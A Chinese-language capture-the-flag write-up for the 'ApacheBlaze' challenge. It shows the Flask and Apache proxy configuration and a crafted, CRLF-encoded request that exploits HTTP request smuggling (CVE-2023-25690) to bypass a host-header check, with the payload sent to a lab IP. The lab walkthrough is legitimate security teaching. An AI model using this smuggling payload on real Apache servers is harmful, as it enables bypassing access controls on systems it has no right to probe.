ApacheBlaze Writeup
2024年11月6日...大约 3 分钟
点击页面的按钮后发现提示 This game is currently available only from dev.apacheblaze.local.
在源码中搜索这个域名,找到对应处理函数
@app.route('/', methods=['GET'])
def index():
game = request.args.get('game')
if not game:
return jsonify({
'error': 'Empty game name is not supported!.'
}), 400
elif game not in app.config['GAMES']:
return jsonify({
'error': 'Invalid game name!'
}), 400
elif game == 'click_topia':
print(request.headers)
if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
return jsonify({
'message': f'{app.config["FLAG"]}'
}), 200
else:
return jsonify({
'message': 'This game is currently available only from dev.apacheblaze.local.'
}), 200
else:
return jsonify({
'message': 'This game is currently unavailable due to internal maintenance.'
}), 200
只要构造一个请求头 X-Forwarded-Host: dev.apacheblaze.local
即可获取 flag
但是我们发现在请求头中加入 X-Forwarded-Host
无法成功获取 flag
观察 httpd.conf
文件,发现 httpd.conf
中配置了两个虚拟主机,1337
端口用于 app.py
的服务,8080
端口用于负载均衡。这两个虚拟主机在请求期间都依赖于 X-Forwarded-Host
标头处理。
ServerName _
ServerTokens Prod
ServerSignature Off
Listen 8080
Listen 1337
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so
<VirtualHost *:1337>
ServerName _
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"
</VirtualHost>
<VirtualHost *:8080>
ServerName _
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
<Proxy balancer://mycluster>
BalancerMember http://127.0.0.1:8081 route=127.0.0.1
BalancerMember http://127.0.0.1:8082 route=127.0.0.1
ProxySet stickysession=ROUTEID
ProxySet lbmethod=byrequests
</Proxy>
</VirtualHost>
所以此时我们需要用到 HTTP 请求走私来绕过这个限制,根据 HTTP Request Smuggling Attack (CVE-2023–25690) 我们可以通过构造一个 HTTP 请求头注入的方式来绕过这个限制。
Example
测试环境如下:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
假设我们有这个请求
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
把它使用 URL 编码,得到
GET%20/categories.php?id=1%20HTTP/1.1%0AHost:%20localhost%0A%0AGET%20/SMUGGLED HTTP/1.1
Host: backend
这样两个请求就变成一个请求了,此时 backend
就会处理这两个请求,而经过 VirtualHost
代理的请求就只有一个。
所以我们构造一个 Host 为 dev.apacheblaze.local
的请求头,然后在请求头中注入一个新的请求,这样就可以绕过限制获取 flag
了。
GET /api/games/click_topia HTTP/1.1
Host: dev.apacheblaze.local
GET / HTTP/1.1
Host: 83.136.254.158:36657
GET /api/games/click_topia%20HTTP/1.1%0D%0AHost:%20dev.apacheblaze.local%0D%0A%0D%0A%0D%0AGET%20/ HTTP/1.1
Host: 83.136.254.158:36657
Accept: */*
X-Requested-With: XMLHttpRequest
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Referer: http://83.136.254.158:36657/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
使用 Burp Suite 发送这个请求,即可获取 flag
Powered by Waline v3.3.1